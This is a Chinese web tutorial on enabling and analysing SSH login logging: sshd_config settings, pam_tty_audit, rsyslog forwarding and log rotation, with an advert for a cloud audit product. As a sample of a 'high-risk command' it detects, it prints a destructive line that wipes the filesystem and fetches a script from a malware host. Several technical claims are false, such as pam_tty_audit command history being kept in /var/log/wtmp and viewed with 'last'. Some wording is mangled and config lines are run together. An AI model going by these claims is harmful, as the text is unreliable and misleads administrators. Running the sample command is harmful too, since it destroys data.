当前位置：首页 > 虚拟主机 > 正文

ssh怎么配置日志？ssh配置log详细步骤

SSH配置日志是保障服务器安全审计与故障排查的核心手段,正确启用并规范记录SSH登录行为，可显著提升系统可追溯性、快速定位异常访问、满足合规性要求，本文将从原理、配置步骤、日志分析要点、常见问题及优化实践出发，结合企业级落地经验，提供一套可直接复用的SSH日志管理方案。

SSH日志为何必须配置？——安全与运维的双重刚需

未启用日志的SSH服务如同“无头苍蝇”，一旦发生未授权访问或误操作，将陷入“无据可查”的被动局面，根据2023年CNVD数据，超过67%的服务器入侵事件源于SSH弱口令或密钥泄露，而其中43%因缺乏日志追踪导致损失扩大。

核心价值体现在三方面：

编辑SSH服务配置文件：

sudo vim /etc/ssh/sshd_config

确保以下参数存在且未被注释：

SyslogFacility AUTH LogLevel INFO

关键说明：SyslogFacility AUTH指定日志写入/var/log/auth.log（Debian系）或/var/log/secure（RHEL系）；LogLevel INFO可记录登录/登出事件，VERBOSE则额外记录公钥指纹，生产环境建议使用INFO，避免日志过载。

为记录用户操作命令,需启用pam_tty_audit模块：

sudo vim /etc/pam.d/sshd

在文件末尾添加：

session required pam_tty_audit.so enable=*

同时确保/etc/ssh/sshd_config中包含：

PermitTunnel no X11Forwarding no

注意：pam_tty_audit会记录用户输入的所有命令（含密码输入），需严格限制日志文件权限（chmod 600 /var/log/wtmp），防止敏感信息泄露。

单机日志易被改动且难聚合分析,推荐通过rsyslog转发至集中日志服务器：

# 在客户端（需监控的服务器）编辑 sudo vim /etc/rsyslog.d/ssh.conf

添加：

auth,authpriv.* @192.168.10.100:514 # 替换为你的日志服务器IP

重启服务：

sudo systemctl restart rsyslog

经验案例：某电商平台在部署西西云日志分析平台后，通过SSH日志实时告警功能，3分钟内拦截了某员工误操作导致的数据库高危命令，避免百万级损失，其核心是利用西西云的SSH行为基线模型，对非常规时段/非常规IP的登录自动触发企业微信告警。

sshd[PID]: Accepted publickey for user from IP port PORT ssh2：密钥登录成功；
sshd[PID]: Failed password for invalid user admin from IP port PORT ssh2：暴力免费尝试；
pam_tty_audit记录的/var/log/wtmp：完整命令操作历史（需last -f /var/log/wtmp查看）。

基础排查：grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr 统计高频攻破IP；
深度分析：使用西西云SSH安全审计模块，支持自动关联登录IP地理位置、历史行为、命令语义，识别“高危命令组合”（如rm -rf / && wget http://malware.sh），误报率低于0.5%。

解决方案：配置日志轮转（/etc/logrotate.d/rsyslog），对auth.log设置7天保留+100MB大小上限：

/var/log/auth.log { rotate 7 size 100M compress delaycompress }

权威建议：